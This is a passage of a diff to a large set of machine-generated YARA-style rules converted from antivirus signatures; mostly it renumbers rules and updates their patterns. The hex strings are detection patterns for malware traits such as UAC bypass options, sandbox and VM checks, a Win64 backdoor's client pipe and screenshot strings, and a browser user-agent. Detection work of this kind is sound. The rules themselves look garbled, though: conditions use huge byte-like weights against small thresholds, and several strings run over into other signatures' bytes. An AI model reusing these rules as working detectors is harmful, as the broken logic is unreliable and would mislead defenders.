1)*1+(#a_40_9 & 1)*0+(#a_00_10 & 1)*28521+(#a_73_11 & 1)*24436+(#a_55_12 & 1)*24436+(#a_44_13 & 1)*12592) >=14 } -rule _InfrastructureShared_17826{ +rule _InfrastructureShared_18981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 0c 00 21 " @@ -214010,7 +228108,7 @@ rule _InfrastructureShared_17826{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26948+(#a_6f_2 & 1)*29513+(#a_72_3 & 1)*25665+(#a_7d_4 & 1)*13617+(#a_46_5 & 1)*13171+(#a_68_6 & 1)*279+(#a_6e_7 & 1)*26994+(#a_04_8 & 1)*-28583+(#a_24_9 & 1)*-30463+(#a_0c_10 & 1)*-29904+(#a_04_11 & 1)*-28440) >=17 } -rule _InfrastructureShared_17827{ +rule _InfrastructureShared_18982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 09 00 21 " @@ -214028,7 +228126,7 @@ rule _InfrastructureShared_17827{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24933+(#a_20_2 & 1)*24936+(#a_53_3 & 1)*8993+(#a_8b_4 & 1)*28043+(#a_44_5 & 1)*22873+(#a_02_6 & 1)*9284+(#a_01_7 & 1)*1479+(#a_64_8 & 1)*24941) >=150 } -rule _InfrastructureShared_17828{ +rule _InfrastructureShared_18983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -214051,7 +228149,7 @@ rule _InfrastructureShared_17828{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*264+(#a_00_2 & 1)*144+(#a_00_3 & 1)*-14591+(#a_24_5 & 1)*-14591+(#a_34_6 & 1)*17230+(#a_64_7 & 1)*24941+(#a_72_8 & 1)*22048+(#a_6e_9 & 1)*28522+(#a_00_10 & 1)*16505+(#a_40_11 & 1)*24833+(#a_3f_12 & 1)*792+(#a_4c_13 & 1)*21325+(#a_61_14 & 1)*29513) >=1 } -rule _InfrastructureShared_17829{ +rule _InfrastructureShared_18984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -214064,7 +228162,7 @@ rule _InfrastructureShared_17829{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28013+(#a_74_2 & 1)*25888+(#a_28_3 & 1)*26991) >=2 } -rule _InfrastructureShared_17830{ +rule _InfrastructureShared_18985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -214078,7 +228176,7 @@ rule _InfrastructureShared_17830{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*26967+(#a_6f_2 & 1)*257+(#a_3a_5 & 1)*19521+(#a_61_6 & 1)*29513) >=2 } -rule _InfrastructureShared_17831{ +rule _InfrastructureShared_18986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -214093,7 +228191,7 @@ rule _InfrastructureShared_17831{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29513+(#a_00_2 & 1)*121+(#a_00_3 & 1)*100+(#a_48_4 & 1)*13934+(#a_43_5 & 1)*12884) >=3 } -rule _InfrastructureShared_17832{ +rule _InfrastructureShared_18987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -214109,7 +228207,7 @@ rule _InfrastructureShared_17832{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*11636+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_41_5 & 1)*0+(#a_9c_6 & 1)*0) >=3 } -rule _InfrastructureShared_17833{ +rule _InfrastructureShared_18988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -214122,7 +228220,7 @@ rule _InfrastructureShared_17833{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*6148+(#a_39_2 & 1)*14125+(#a_63_3 & 1)*30063) >=4 } -rule _InfrastructureShared_17834{ +rule _InfrastructureShared_18989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -214134,7 +228232,7 @@ rule _InfrastructureShared_17834{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_06_2 & 1)*1041) >=4 } -rule _InfrastructureShared_17835{ +rule _InfrastructureShared_18990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -214149,7 +228247,7 @@ rule _InfrastructureShared_17835{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*11886+(#a_32_2 & 1)*12853+(#a_69_3 & 1)*8296+(#a_00_5 & 1)*114+(#a_00_7 & 1)*116) >=4 } -rule _InfrastructureShared_17836{ +rule _InfrastructureShared_18991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -214161,7 +228259,7 @@ rule _InfrastructureShared_17836{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_4 & 1)*101) >=5 } -rule _InfrastructureShared_17837{ +rule _InfrastructureShared_18992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -214174,7 +228272,7 @@ rule _InfrastructureShared_17837{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*3359+(#a_6d_2 & 1)*23041+(#a_00_4 & 1)*16760) >=6 } -rule _InfrastructureShared_17838{ +rule _InfrastructureShared_18993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -214190,7 +228288,7 @@ rule _InfrastructureShared_17838{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*17921+(#a_4d_2 & 1)*19012+(#a_43_3 & 1)*16984+(#a_73_4 & 1)*28263+(#a_5c_5 & 1)*28261+(#a_65_6 & 1)*25381) >=7 } -rule _InfrastructureShared_17839{ +rule _InfrastructureShared_18994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -214207,7 +228305,7 @@ rule _InfrastructureShared_17839{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26478+(#a_64_2 & 1)*24941+(#a_00_3 & 1)*30035+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_17840{ +rule _InfrastructureShared_18995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -214222,7 +228320,7 @@ rule _InfrastructureShared_17840{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_71_2 & 1)*28751+(#a_00_4 & 1)*16760+(#a_48_6 & 1)*8448+(#a_00_7 & 1)*21581) >=8 } -rule _InfrastructureShared_17841{ +rule _InfrastructureShared_18996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -214242,7 +228340,7 @@ rule _InfrastructureShared_17841{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29281+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_41_6 & 1)*0+(#a_75_7 & 1)*28516+(#a_49_8 & 1)*-32500+(#a_4d_9 & 1)*27503+(#a_6f_10 & 1)*17518) >=11 } -rule _InfrastructureShared_17842{ +rule _InfrastructureShared_18997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 21 " @@ -214260,7 +228358,7 @@ rule _InfrastructureShared_17842{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_02_2 & 1)*11634+(#a_75_3 & 1)*385+(#a_6f_4 & 1)*21562+(#a_ca_5 & 1)*250+(#a_52_6 & 1)*28257+(#a_00_8 & 1)*98+(#a_00_9 & 1)*101) >=12 } -rule _InfrastructureShared_17843{ +rule _InfrastructureShared_18998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -214274,7 +228372,7 @@ rule _InfrastructureShared_17843{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*268+(#a_52_2 & 1)*1025+(#a_02_3 & 1)*-28618+(#a_49_4 & 1)*400) >=1 } -rule _InfrastructureShared_17844{ +rule _InfrastructureShared_18999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -214285,7 +228383,7 @@ rule _InfrastructureShared_17844{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116) >=2 } -rule _InfrastructureShared_17845{ +rule _InfrastructureShared_19000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -214298,7 +228396,7 @@ rule _InfrastructureShared_17845{ ((#a_6f_0 & 1)*21539+(#a_3c_1 & 1)*0+(#a_ff_2 & 1)*1537+(#a_32_3 & 1)*-1343) >=2 } -rule _InfrastructureShared_17846{ +rule _InfrastructureShared_19001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -214310,7 +228408,7 @@ rule _InfrastructureShared_17846{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*13938+(#a_24_2 & 1)*23691) >=2 } -rule _InfrastructureShared_17847{ +rule _InfrastructureShared_19002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -214326,7 +228424,7 @@ rule _InfrastructureShared_17847{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*3328+(#a_5c_2 & 1)*29555+(#a_63_3 & 1)*19713+(#a_00_4 & 1)*116+(#a_43_5 & 1)*12340+(#a_41_6 & 1)*14145) >=3 } -rule _InfrastructureShared_17848{ +rule _InfrastructureShared_19003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -214344,7 +228442,7 @@ rule _InfrastructureShared_17848{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*14403+(#a_38_2 & 1)*13874+(#a_42_3 & 1)*14660+(#a_38_4 & 1)*13365+(#a_61_5 & 1)*29295+(#a_2d_6 & 1)*14637+(#a_00_7 & 1)*114+(#a_00_9 & 1)*17016) >=3 } -rule _InfrastructureShared_17849{ +rule _InfrastructureShared_19004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -214356,7 +228454,7 @@ rule _InfrastructureShared_17849{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103+(#a_00_3 & 1)*86) >=4 } -rule _InfrastructureShared_17850{ +rule _InfrastructureShared_19005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -214367,7 +228465,7 @@ rule _InfrastructureShared_17850{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-30464) >=4 } -rule _InfrastructureShared_17851{ +rule _InfrastructureShared_19006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -214383,7 +228481,7 @@ rule _InfrastructureShared_17851{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*109+(#a_66_2 & 1)*270+(#a_6f_3 & 1)*16988+(#a_67_4 & 1)*28798+(#a_25_5 & 1)*15479+(#a_00_6 & 1)*25458) >=4 } -rule _InfrastructureShared_17852{ +rule _InfrastructureShared_19007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -214395,7 +228493,7 @@ rule _InfrastructureShared_17852{ ((#a_54_0 & 1)*18467+(#a_a5_1 & 1)*-23080+(#a_70_2 & 1)*29296) >=5 } -rule _InfrastructureShared_17853{ +rule _InfrastructureShared_19008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -214409,7 +228507,7 @@ rule _InfrastructureShared_17853{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*0+(#a_24_2 & 1)*-32475+(#a_44_3 & 1)*17473+(#a_42_4 & 1)*0) >=5 } -rule _InfrastructureShared_17854{ +rule _InfrastructureShared_19009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -214419,7 +228517,7 @@ rule _InfrastructureShared_17854{ ((#a_46_0 & 1)*16675) >=6 } -rule _InfrastructureShared_17855{ +rule _InfrastructureShared_19010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -214434,7 +228532,7 @@ rule _InfrastructureShared_17855{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*30064+(#a_00_2 & 1)*29032+(#a_70_3 & 1)*385+(#a_41_4 & 1)*18484+(#a_00_5 & 1)*1) >=6 } -rule _InfrastructureShared_17856{ +rule _InfrastructureShared_19011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -214448,7 +228546,7 @@ rule _InfrastructureShared_17856{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*117+(#a_6f_3 & 1)*29811+(#a_00_4 & 1)*7+(#a_6a_5 & 1)*29268) >=7 } -rule _InfrastructureShared_17857{ +rule _InfrastructureShared_19012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -214462,7 +228560,7 @@ rule _InfrastructureShared_17857{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*118+(#a_00_4 & 1)*106+(#a_65_5 & 1)*12108+(#a_01_6 & 1)*14668) >=7 } -rule _InfrastructureShared_17858{ +rule _InfrastructureShared_19013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -214477,7 +228575,7 @@ rule _InfrastructureShared_17858{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*266+(#a_42_2 & 1)*13363+(#a_36_3 & 1)*13624+(#a_00_5 & 1)*17016+(#a_48_7 & 1)*8448) >=7 } -rule _InfrastructureShared_17859{ +rule _InfrastructureShared_19014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -214492,7 +228590,7 @@ rule _InfrastructureShared_17859{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*18259+(#a_5c_2 & 1)*21842+(#a_00_4 & 1)*58+(#a_42_6 & 1)*0+(#a_6f_7 & 1)*23589) >=8 } -rule _InfrastructureShared_17860{ +rule _InfrastructureShared_19015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -214509,7 +228607,7 @@ rule _InfrastructureShared_17860{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25970+(#a_6c_2 & 1)*25390+(#a_74_3 & 1)*25710+(#a_27_4 & 1)*10023+(#a_7b_5 & 1)*31613+(#a_58_6 & 1)*22616+(#a_32_7 & 1)*12345) >=8 } -rule _InfrastructureShared_17861{ +rule _InfrastructureShared_19016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -214527,7 +228625,7 @@ rule _InfrastructureShared_17861{ ((#a_54_0 & 1)*18467+(#a_27_1 & 1)*10023+(#a_7d_2 & 1)*32123+(#a_58_3 & 1)*22616+(#a_31_4 & 1)*14128+(#a_00_5 & 1)*12848+(#a_74_6 & 1)*26369+(#a_00_7 & 1)*110+(#a_41_8 & 1)*17976) >=9 } -rule _InfrastructureShared_17862{ +rule _InfrastructureShared_19017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -214545,7 +228643,7 @@ rule _InfrastructureShared_17862{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25959+(#a_00_2 & 1)*105+(#a_57_3 & 1)*21076+(#a_32_4 & 1)*25963+(#a_6b_5 & 1)*29285+(#a_65_6 & 1)*28001+(#a_53_7 & 1)*16686+(#a_72_8 & 1)*28531) >=9 } -rule _InfrastructureShared_17863{ +rule _InfrastructureShared_19018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -214563,7 +228661,7 @@ rule _InfrastructureShared_17863{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28271+(#a_00_2 & 1)*28777+(#a_75_3 & 1)*385+(#a_4a_4 & 1)*-32496+(#a_65_5 & 1)*29537+(#a_2e_6 & 1)*25961+(#a_00_7 & 1)*25955+(#a_75_8 & 1)*385) >=9 } -rule _InfrastructureShared_17864{ +rule _InfrastructureShared_19019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -214582,7 +228680,7 @@ rule _InfrastructureShared_17864{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28524+(#a_61_2 & 1)*29251+(#a_42_3 & 1)*0+(#a_2f_4 & 1)*29742+(#a_6c_5 & 1)*29279+(#a_21_6 & 1)*16969+(#a_00_7 & 1)*30789+(#a_1b_8 & 1)*17803+(#a_01_9 & 1)*-28554) >=10 } -rule _InfrastructureShared_17865{ +rule _InfrastructureShared_19020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 0c 00 21 " @@ -214602,7 +228700,7 @@ rule _InfrastructureShared_17865{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*25970+(#a_70_2 & 1)*24430+(#a_55_3 & 1)*17741+(#a_61_4 & 1)*29288+(#a_90_5 & 1)*-29424+(#a_42_6 & 1)*2117+(#a_55_7 & 1)*257+(#a_73_8 & 1)*26656+(#a_61_10 & 1)*31074+(#a_20_11 & 1)*11552) >=16 } -rule _InfrastructureShared_17866{ +rule _InfrastructureShared_19021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 0e 00 06 00 21 " @@ -214617,7 +228715,7 @@ rule _InfrastructureShared_17866{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29264+(#a_03_2 & 1)*17803+(#a_01_3 & 1)*-28587+(#a_42_4 & 1)*2117+(#a_55_5 & 1)*257) >=14 } -rule _InfrastructureShared_17867{ +rule _InfrastructureShared_19022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 04 00 21 " @@ -214630,7 +228728,7 @@ rule _InfrastructureShared_17867{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26732+(#a_20_2 & 1)*26996+(#a_01_3 & 1)*30720) >=100 } -rule _InfrastructureShared_17868{ +rule _InfrastructureShared_19023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -214643,7 +228741,7 @@ rule _InfrastructureShared_17868{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103+(#a_00_2 & 1)*46+(#a_00_3 & 1)*101) >=400 } -rule _InfrastructureShared_17869{ +rule _InfrastructureShared_19024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -214653,7 +228751,7 @@ rule _InfrastructureShared_17869{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_17870{ +rule _InfrastructureShared_19025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -214666,7 +228764,7 @@ rule _InfrastructureShared_17870{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-252+(#a_fc_2 & 1)*-14588+(#a_fc_3 & 1)*400) >=2 } -rule _InfrastructureShared_17871{ +rule _InfrastructureShared_19026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -214678,7 +228776,7 @@ rule _InfrastructureShared_17871{ ((#a_46_0 & 1)*16675+(#a_4e_2 & 1)*0+(#a_18_3 & 1)*-29880) >=2 } -rule _InfrastructureShared_17872{ +rule _InfrastructureShared_19027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -214690,7 +228788,7 @@ rule _InfrastructureShared_17872{ ((#a_4c_0 & 1)*21539+(#a_c8_1 & 1)*18437+(#a_24_2 & 1)*-14520) >=3 } -rule _InfrastructureShared_17873{ +rule _InfrastructureShared_19028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -214702,7 +228800,7 @@ rule _InfrastructureShared_17873{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*100+(#a_00_4 & 1)*101) >=3 } -rule _InfrastructureShared_17874{ +rule _InfrastructureShared_19029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -214715,7 +228813,7 @@ rule _InfrastructureShared_17874{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_63_2 & 1)*30063+(#a_64_3 & 1)*8993) >=4 } -rule _InfrastructureShared_17875{ +rule _InfrastructureShared_19030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -214730,14 +228828,13 @@ rule _InfrastructureShared_17875{ $a_01_7 = {4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 55 00 41 00 43 00 42 00 79 00 70 00 61 00 73 00 73 00 } //1 Options.UACBypass $a_01_8 = {49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 2e 00 4b 00 65 00 79 00 } //1 Install.Key $a_01_9 = {4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 53 00 65 00 6c 00 66 00 } //1 Options.MonitorSelf - $a_43_10 = {00 05 00 05 00 16 00 21 23 48 53 54 52 3a 46 72 69 6e 76 61 72 70 2e 41 31 00 01 00 08 01 37 39 45 46 31 44 33 44 01 00 08 01 43 32 35 35 42 38 35 31 01 00 08 01 46 45 31 31 37 43 39 43 01 00 08 01 39 41 38 45 46 46 31 38 01 00 08 01 44 46 37 30 39 44 42 44 01 00 08 01 32 33 33 35 35 38 46 30 01 00 08 01 44 39 34 45 42 46 35 38 01 00 0e 01 39 32 45 46 32 39 } //0 - $a_43_11 = {44 34 33 01 00 0a 01 32 43 43 41 31 41 43 44 31 46 01 00 0c 01 41 43 38 35 38 34 41 44 34 32 45 38 01 00 08 01 45 44 30 30 35 41 38 32 01 00 08 01 45 46 34 39 34 } //12868 - $a_01_12 = {00 0c 01 45 39 34 37 34 32 46 32 30 43 32 38 01 00 08 01 33 41 46 44 35 37 46 44 01 00 0c 01 44 42 35 35 42 34 36 36 39 45 34 45 01 00 08 01 30 34 32 32 42 34 35 41 01 00 0c 01 42 31 38 38 38 31 41 31 35 44 } //12848 + $a_43_10 = {00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 42 6f 74 6b 69 74 65 2e 41 21 64 68 61 00 01 00 20 01 5b 43 6c 69 65 6e 74 5d 20 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 65 76 65 6e 74 3a 01 00 24 01 5b 43 6c 69 65 6e 74 5d 20 57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 20 66 61 69 6c 65 64 } //0 + $a_69_12 = {6e 74 5d 20 57 72 69 74 65 46 69 6c 65 20 66 61 69 6c 65 64 3a 01 00 21 01 5b 43 6c 69 65 6e 74 5d 20 46 61 69 6c 65 64 20 74 6f 20 72 65 61 64 20 66 72 6f 6d 20 70 69 70 65 01 00 0a 01 53 43 52 45 45 4e 53 48 4f 54 01 00 1c 01 45 72 72 6f 72 20 72 65 74 72 69 65 76 69 6e 67 20 4d 41 43 20 61 64 64 72 65 73 73 01 00 54 01 } //17243 condition: - ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*26736+(#a_56_2 & 1)*16174+(#a_35_3 & 1)*13368+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_43_10 & 1)*0+(#a_43_11 & 1)*12868+(#a_01_12 & 1)*12848) >=4 + ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*26736+(#a_56_2 & 1)*16174+(#a_35_3 & 1)*13368+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_43_10 & 1)*0+(#a_69_12 & 1)*17243) >=4 } -rule _InfrastructureShared_17876{ +rule _InfrastructureShared_19031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -214746,12 +228843,27 @@ rule _InfrastructureShared_17876{ $a_4f_1 = {70 } //7680 p $a_00_3 = {73 00 2e 00 43 00 68 00 65 00 63 00 6b 00 56 00 4d 00 01 00 28 01 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 43 00 68 00 65 00 63 00 6b 00 53 00 61 00 6e 00 64 00 62 00 6f 00 78 00 01 00 2e 01 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 } //111 $a_00_4 = {22 } //121 " - $a_00_6 = {6f 00 6e 00 73 00 2e 00 55 00 41 00 43 00 42 00 79 00 70 00 61 00 73 00 73 00 01 00 16 01 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 2e 00 4b 00 65 00 79 00 01 00 26 01 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 53 00 65 00 6c 00 66 00 00 00 78 43 01 00 05 00 05 00 16 } //116 + $a_00_6 = {6f 00 6e 00 73 00 2e 00 55 00 41 00 43 00 42 00 79 00 70 00 61 00 73 00 73 00 01 00 16 01 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 2e 00 4b 00 65 00 79 00 01 00 26 01 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 53 00 65 00 6c 00 66 00 00 00 78 43 01 00 05 00 05 00 07 } //116 condition: ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*7680+(#a_00_3 & 1)*111+(#a_00_4 & 1)*121+(#a_00_6 & 1)*116) >=5 } -rule _InfrastructureShared_17877{ +rule _InfrastructureShared_19032{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 42 6f 74 6b 69 74 65 2e 41 21 64 68 61 00 01 00 20 01 5b 43 6c 69 65 6e 74 5d 20 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 65 76 65 6e 74 3a 01 00 24 01 5b 43 6c 69 } //16675 + $a_5d_1 = {57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 20 66 61 69 6c 65 64 3a 01 00 1a 01 5b 43 6c 69 65 6e 74 5d 20 57 72 69 74 65 46 69 6c 65 20 66 61 69 6c 65 64 3a 01 00 21 01 5b 43 6c 69 65 6e 74 5d 20 46 61 69 6c 65 64 20 74 6f 20 72 65 61 64 20 66 72 6f 6d 20 70 69 70 65 01 00 0a 01 53 43 52 45 45 4e 53 48 4f 54 01 00 1c 01 45 72 72 6f } //28261 + $a_65_2 = {72 69 65 76 69 6e 67 20 4d 41 43 20 61 64 64 72 65 73 73 01 00 54 01 4d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2f 00 35 00 2e 00 30 00 20 00 28 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 20 00 31 00 30 00 2e 00 30 00 3b 00 20 00 57 00 69 00 6e 00 36 00 34 00 3b 00 20 00 78 00 36 00 34 00 29 00 00 00 00 00 78 43 01 00 05 } //8306 + $a_53_4 = {52 3a 46 72 69 6e 76 61 72 70 2e 41 31 00 01 00 08 01 37 39 45 46 31 44 33 44 01 00 08 01 43 32 35 35 42 38 35 31 01 00 08 01 46 45 31 31 37 43 39 43 01 00 08 01 39 41 38 45 46 46 31 38 01 00 08 01 44 46 37 30 39 44 } //8993 + $a_00_5 = {08 } //17474 + $a_33_6 = {35 38 46 30 01 00 08 01 44 39 34 45 42 46 35 38 01 00 0e 01 39 32 45 46 32 39 44 32 36 43 39 44 34 33 01 00 0a 01 32 43 43 41 31 41 43 44 31 46 01 00 0c } //12801 + condition: + ((#a_46_0 & 1)*16675+(#a_5d_1 & 